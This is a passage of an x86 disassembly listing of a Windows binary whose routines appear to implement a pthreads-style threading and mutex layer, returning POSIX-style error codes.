		mov	edx, [esp+10h+arg_C]
		push	ebp
		mov	ebp, [esp+14h+arg_4]
		test	ebp, ebp
		mov	[ebx], esi
		mov	[ebx+4], ecx
		mov	[ebx+8], edx
		jz	short loc_42B16E
		mov	eax, [ebp+0]
		test	eax, eax
		jz	short loc_42B16E
		mov	edi, [eax+8]
		mov	eax, [eax+0Ch]
		mov	[esi+20h], eax
		mov	eax, [ebp+0]
		mov	ecx, [eax+10h]
		mov	[esp+14h+var_4], ecx
		mov	ecx, [eax+14h]
		test	ecx, ecx
		jnz	short loc_42B170
		call	sub_4012AD
		mov	edx, [eax+28h]
		mov	[esp+14h+var_4], edx
		jmp	short loc_42B170
; ---------------------------------------------------------------------------


loc_42B16E:				; CODE XREF: sub_42B0F0+4Dj
					; sub_42B0F0+54j
		xor	edi, edi


loc_42B170:				; CODE XREF: sub_42B0F0+6Ej
					; sub_42B0F0+7Cj
		push	esi
		push	4
		push	ebx
		xor	eax, eax
		push	offset loc_401AA0
		push	edi
		push	eax
		mov	[esi+0Ch], eax
		mov	[esi+80h], eax
		call	ds:dword_4B3A40
		mov	edi, eax
		add	esp, 18h
		test	edi, edi
		mov	[esi+4], edi
		jz	short loc_42B1B9
		test	ebp, ebp
		jz	short loc_42B1B2
		cmp	dword ptr [ebp+0], 0
		jz	short loc_42B1B2
		mov	eax, [esp+14h+var_4]
		push	eax
		push	0
		push	esi
		call	sub_401F3C
		add	esp, 0Ch


loc_42B1B2:				; CODE XREF: sub_42B0F0+AAj
					; sub_42B0F0+B0j
		push	edi
		call	ds:dword_4B3840


loc_42B1B9:				; CODE XREF: sub_42B0F0+A6j
		neg	edi
		sbb	edi, edi
		pop	ebp
		and	edi, 0FFFFFFF5h
		add	edi, 0Bh
		jz	short loc_42B1F9


loc_42B1C6:				; CODE XREF: sub_42B0F0+14j
					; sub_42B0F0+30j
		push	esi
		call	sub_4016F4
		add	esp, 4
		xor	esi, esi
		test	ebx, ebx
		jz	short loc_42B1EC
		push	ebx
		call	ds:dword_4B3AAC
		mov	ecx, [esp+14h+arg_0]
		add	esp, 4
		mov	eax, edi
		mov	[ecx], esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42B1EC:				; CODE XREF: sub_42B0F0+E3j
		mov	edx, [esp+10h+arg_0]
		mov	eax, edi
		pop	edi
		mov	[edx], esi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42B1F9:				; CODE XREF: sub_42B0F0+D4j
		mov	eax, [esp+10h+arg_0]
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
sub_42B0F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B260:				; CODE XREF: _294ADE7B:00401302j
		mov	ecx, [esp+8]
		mov	eax, 1
		cmp	ecx, 3		; switch 4 cases
		ja	short locret_42B297 ; default
		jmp	off_42B29C[ecx*4] ; switch jump


loc_42B275:				; DATA XREF: _294ADE7B:off_42B29Co
		call	sub_401672	; jumptable 0042B26E case 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B27D:				; CODE XREF: _294ADE7B:0042B26Ej
					; DATA XREF: _294ADE7B:off_42B29Co
		call	sub_4016F9	; jumptable 0042B26E case 2
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B285:				; CODE XREF: _294ADE7B:0042B26Ej
					; DATA XREF: _294ADE7B:off_42B29Co
		call	sub_401708	; jumptable 0042B26E case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42B28D:				; CODE XREF: _294ADE7B:0042B26Ej
					; DATA XREF: _294ADE7B:off_42B29Co
		call	sub_401708	; jumptable 0042B26E case 0
		call	sub_4015A0

locret_42B297:				; CODE XREF: _294ADE7B:0042B26Cj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_42B29C	dd offset loc_42B28D	; DATA XREF: _294ADE7B:0042B26Er
		dd offset loc_42B275	; jump table for switch	statement
		dd offset loc_42B27D
		dd offset loc_42B285
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B2D0:				; CODE XREF: _294ADE7B:004016FEj
		mov	eax, ds:dword_4B26E0
		push	esi
		push	edi
		push	eax
		call	sub_40116D
		mov	edi, [esp+10h]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_42B2F4
		push	edi
		call	ds:dword_4B3A3C
		add	esp, 4


loc_42B2F4:				; CODE XREF: _294ADE7B:0042B2E8j
		push	1
		mov	[esi+14h], edi
		call	sub_401CA8
		add	esp, 4
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B320	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_4B2720
		xor	esi, esi
		call	ds:dword_4B3868
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_42B34B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_42B34B
		push	eax
		call	ds:dword_4B3830
		cmp	eax, 7FFFFFFFh
		jnz	short loc_42B350


loc_42B34B:				; CODE XREF: sub_42B320+14j
					; sub_42B320+1Bj
		mov	esi, 3


loc_42B350:				; CODE XREF: sub_42B320+29j
		push	offset dword_4B2720
		call	ds:dword_4B386C
		test	esi, esi
		jnz	short loc_42B36C
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_42B36E


loc_42B36C:				; CODE XREF: sub_42B320+3Dj
		mov	eax, esi


loc_42B36E:				; CODE XREF: sub_42B320+4Aj
		pop	esi
		retn
sub_42B320	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B390:				; CODE XREF: _294ADE7B:004015C8j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_42B3E1
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_42B3E1
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_42B3C1
		lea	eax, [esi+4]
		push	eax
		call	ds:dword_4B382C
		test	eax, eax
		jnz	short loc_42B3C7
		call	edi
		mov	dword ptr [esi], 1


loc_42B3C1:				; CODE XREF: _294ADE7B:0042B3A9j
					; _294ADE7B:0042B3CAj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B3C7:				; CODE XREF: _294ADE7B:0042B3B7j
		cmp	dword ptr [esi], 0
		jnz	short loc_42B3C1
		mov	edi, ds:dword_4B38CC


loc_42B3D2:				; CODE XREF: _294ADE7B:0042B3D9j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_42B3D2
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42B3E1:				; CODE XREF: _294ADE7B:0042B399j
					; _294ADE7B:0042B3A1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B410	proc near		; CODE XREF: sub_4012ADj
		mov	eax, ds:dword_4B26E0
		push	esi
		push	edi
		push	eax
		call	sub_40116D
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_42B49C
		call	sub_401A28
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B48C
		mov	edi, [esi+7Ch]
		mov	eax, 1
		or	edi, eax
		push	ebx
		mov	[esi+7Ch], edi
		mov	[esi+20h], eax
		call	ds:dword_4B3824
		mov	ebx, ds:dword_4B3878
		push	2
		lea	edi, [esi+4]
		push	0
		push	0
		push	edi
		mov	[esi], eax
		call	ebx
		push	eax
		call	ds:dword_4B3874
		push	eax
		call	ebx
		push	eax
		call	ds:dword_4B3828
		test	eax, eax
		pop	ebx
		jnz	short loc_42B480
		push	esi
		call	sub_401AC3
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42B480:				; CODE XREF: sub_42B410+60j
		mov	ecx, [edi]
		push	ecx
		call	ds:dword_4B3830
		mov	[esi+28h], eax


loc_42B48C:				; CODE XREF: sub_42B410+1Fj
		mov	edx, ds:dword_4B26E0
		push	esi
		push	edx
		call	sub_401F5A
		add	esp, 8


loc_42B49C:				; CODE XREF: sub_42B410+14j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_42B410	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B4E0	proc near		; CODE XREF: sub_40196Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_42B4FE
		test	eax, eax
		jz	short loc_42B4F8
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_42B4FE


loc_42B4F8:				; CODE XREF: sub_42B4E0+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_42B4FE:				; CODE XREF: sub_42B4E0+Aj
					; sub_42B4E0+16j
		xor	eax, eax
		retn
sub_42B4E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B520:				; CODE XREF: _294ADE7B:00401E92j
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_42B52E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42B52E:				; CODE XREF: _294ADE7B:0042B526j
		mov	ds:dword_4B26F0, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B550:				; CODE XREF: _294ADE7B:004014F1j
		mov	eax, ds:dword_4B26F0
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B570	proc near		; CODE XREF: sub_401A28j
		push	esi
		call	sub_4012C6
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42B592
		push	84h
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_42B5D9


loc_42B592:				; CODE XREF: sub_42B570+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	ds:dword_4B3820
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_42B5D9
		push	esi
		call	sub_401AC3
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42B5D9:				; CODE XREF: sub_42B570+20j
					; sub_42B570+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_42B570	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B600	proc near		; CODE XREF: sub_4012C6j
		push	esi
		push	offset dword_4B2720
		call	ds:dword_4B3868
		mov	esi, ds:dword_43FA0C
		cmp	esi, 1
		jz	short loc_42B635
		mov	eax, [esi+8]
		push	offset dword_4B2720
		mov	ds:dword_43FA0C, eax
		mov	dword ptr [esi+8], 0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42B635:				; CODE XREF: sub_42B600+15j
		push	offset dword_4B2720
		xor	esi, esi
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
sub_42B600	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B670	proc near		; CODE XREF: sub_401AC3j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_4B2720
		call	ds:dword_4B3868
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, ds:dword_43FA0C
		push	offset dword_4B2720
		mov	[edx+8], eax
		mov	ds:dword_43FA0C, edx
		call	ds:dword_4B386C
		pop	edi
		retn
sub_42B670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6C0	proc near		; CODE XREF: sub_4015BEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_42B6E0
		add	esp, 8
		retn
sub_42B6C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B6E0	proc near		; CODE XREF: sub_42B6C0+7p
					; sub_42B800+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012AD
		mov	esi, eax
		test	esi, esi
		jz	short loc_42B716
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_42B71E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+10h+var_4], eax
		jz	short loc_42B71E
		mov	edi, 2
		jmp	short loc_42B71E
; ---------------------------------------------------------------------------


loc_42B716:				; CODE XREF: sub_42B6E0+1Bj
		mov	[esp+10h+var_4], 0


loc_42B71E:				; CODE XREF: sub_42B6E0+22j
					; sub_42B6E0+2Dj ...
		mov	ecx, [esp+10h+arg_4]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	0
		push	edx
		push	edi
		call	ds:dword_4B381C
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_42B7A9
		dec	ecx
		jz	short loc_42B754
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42B754:				; CODE XREF: sub_42B6E0+59j
		mov	eax, [esp+10h+var_4]
		push	eax
		call	ds:dword_4B384C
		test	esi, esi
		jz	short loc_42B79E
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_40208B
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_42B795
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010AF
		push	2
		call	sub_401CA8
		add	esp, 8


loc_42B795:				; CODE XREF: sub_42B6E0+99j
		push	edi
		call	sub_4010AF
		add	esp, 4


loc_42B79E:				; CODE XREF: sub_42B6E0+81j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_42B7A9:				; CODE XREF: sub_42B6E0+56j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
sub_42B6E0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B800	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_42B6E0
		add	esp, 8
		retn
sub_42B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B830	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_4B2780
		xor	esi, esi
		call	ds:dword_4B3868
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42B864
		push	esi
		push	ecx
		call	sub_40200E
		add	esp, 8
		mov	esi, eax
		push	offset dword_4B2780
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42B864:				; CODE XREF: sub_42B830+17j
		test	eax, eax
		jnz	short loc_42B86D
		mov	esi, 16h


loc_42B86D:				; CODE XREF: sub_42B830+36j
		push	offset dword_4B2780
		call	ds:dword_4B386C
		mov	eax, esi
		pop	esi
		retn
sub_42B830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B8A0	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_42B8B4
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B8B4:				; CODE XREF: sub_42B8A0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_42B8CF
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_42B8CF
		cmp	dword ptr [eax], 1
		jnz	short loc_42B8CF
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B8CF:				; CODE XREF: sub_42B8A0+1Aj
					; sub_42B8A0+20j ...
		push	esi
		push	2Ch
		push	1
		call	ds:dword_4B3A64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_42B8F4
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B8F4:				; CODE XREF: sub_42B8A0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_42B910
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_42B910
		mov	edi, [edi+4]
		jmp	short loc_42B912
; ---------------------------------------------------------------------------


loc_42B910:				; CODE XREF: sub_42B8A0+63j
					; sub_42B8A0+69j
		xor	edi, edi


loc_42B912:				; CODE XREF: sub_42B8A0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401B59
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42B94D
		push	esi
		mov	ebp, 0Bh
		call	ds:dword_4B3AAC
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42B94D:				; CODE XREF: sub_42B8A0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		call	ds:dword_4B3860
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_42B8A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B9B0	proc near		; CODE XREF: sub_402090j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_42BA90
		mov	eax, [edi]
		test	eax, eax
		jz	loc_42BA90
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BA55
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_4016DB
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_42BA8B
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_42BA47
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010AF
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_42BA40
		add	edx, 10h
		push	edx
		call	sub_4015FA
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		call	ds:dword_4B385C
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BA40:				; CODE XREF: sub_42B9B0+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BA47:				; CODE XREF: sub_42B9B0+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BA55:				; CODE XREF: sub_42B9B0+1Dj
		push	offset dword_4B2780
		call	ds:dword_4B3868
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_42BA7B
		push	offset dword_4B2780
		mov	dword ptr [edi], 0
		call	ds:dword_4B386C
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BA7B:				; CODE XREF: sub_42B9B0+B3j
		push	offset dword_4B2780
		mov	esi, 10h
		call	ds:dword_4B386C


loc_42BA8B:				; CODE XREF: sub_42B9B0+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BA90:				; CODE XREF: sub_42B9B0+Aj
					; sub_42B9B0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_42B9B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BAE0	proc near		; CODE XREF: sub_40192Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	ds:dword_4B3A64
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_42BB03
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_42BB03:				; CODE XREF: sub_42BAE0+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_42BAE0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BB30	proc near		; CODE XREF: sub_40109Bj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_42BB51
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_42BB51
		push	eax
		mov	[ecx], esi
		call	ds:dword_4B3AAC
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BB51:				; CODE XREF: sub_42BB30+9j
					; sub_42BB30+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_42BB30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BB70:				; CODE XREF: _294ADE7B:00401AAFj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42BB8D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_42BB8D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_42BB8D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42BB8D:				; CODE XREF: _294ADE7B:0042BB76j
					; _294ADE7B:0042BB7Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42BBB0:				; CODE XREF: _294ADE7B:00401820j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_42BBDA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_42BBDA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_42BBCE
		test	eax, eax
		jnz	short loc_42BBDA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_42BBCE:				; CODE XREF: _294ADE7B:0042BBC5j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_42BBDA:				; CODE XREF: _294ADE7B:0042BBB6j
					; _294ADE7B:0042BBBCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BBF0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_42BC11
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_42BC11
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_42BC11
		cmp	edx, 2
		jg	short loc_42BC11
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_42BC11:				; CODE XREF: sub_42BBF0+8j
					; sub_42BBF0+Ej ...
		mov	eax, 16h
		retn
sub_42BBF0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BC30	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_42BC4E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_42BC4E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_42BC4E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_42BC4E:				; CODE XREF: sub_42BC30+8j
					; sub_42BC30+Ej ...
		mov	eax, 16h
		retn
sub_42BC30	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BC70	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_42BD27
		mov	eax, [esi]
		test	eax, eax
		jz	loc_42BD27
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42BCA1
		push	esi
		call	sub_401AFF
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_42BCA1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BCA1:				; CODE XREF: sub_42BC70+1Dj
					; sub_42BC70+2Cj
		mov	esi, [esi]
		push	esi
		call	ds:dword_4B382C
		test	eax, eax
		jnz	short loc_42BCCA


loc_42BCAE:				; CODE XREF: sub_42BC70+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_42BCC2
		call	sub_4012AD


loc_42BCC2:				; CODE XREF: sub_42BC70+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BCCA:				; CODE XREF: sub_42BC70+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_42BD0A
		call	sub_4012AD
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_40196F
		add	esp, 8
		test	eax, eax
		jz	short loc_42BD0A
		push	esi
		call	ds:dword_4B3850
		cmp	dword ptr [esi+8], 1
		jnz	short loc_42BD00
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BD00:				; CODE XREF: sub_42BC70+82j
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BD0A:				; CODE XREF: sub_42BC70+5Fj
					; sub_42BC70+75j
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_42BD60
		add	esp, 4
		test	eax, eax
		jz	short loc_42BCAE
		call	ds:dword_4B3A50
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42BD27:				; CODE XREF: sub_42BC70+Aj
					; sub_42BC70+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_42BC70	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BD60	proc near		; CODE XREF: sub_42BC70+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_42BD7A
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	ds:dword_4B3848
		test	eax, eax
		jnz	short loc_42BD7A
		retn
; ---------------------------------------------------------------------------


loc_42BD7A:				; CODE XREF: sub_42BD60+6j
					; sub_42BD60+17j
		call	ds:dword_4B3A50
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_42BD60	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BDA0	proc near		; CODE XREF: sub_401AC8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
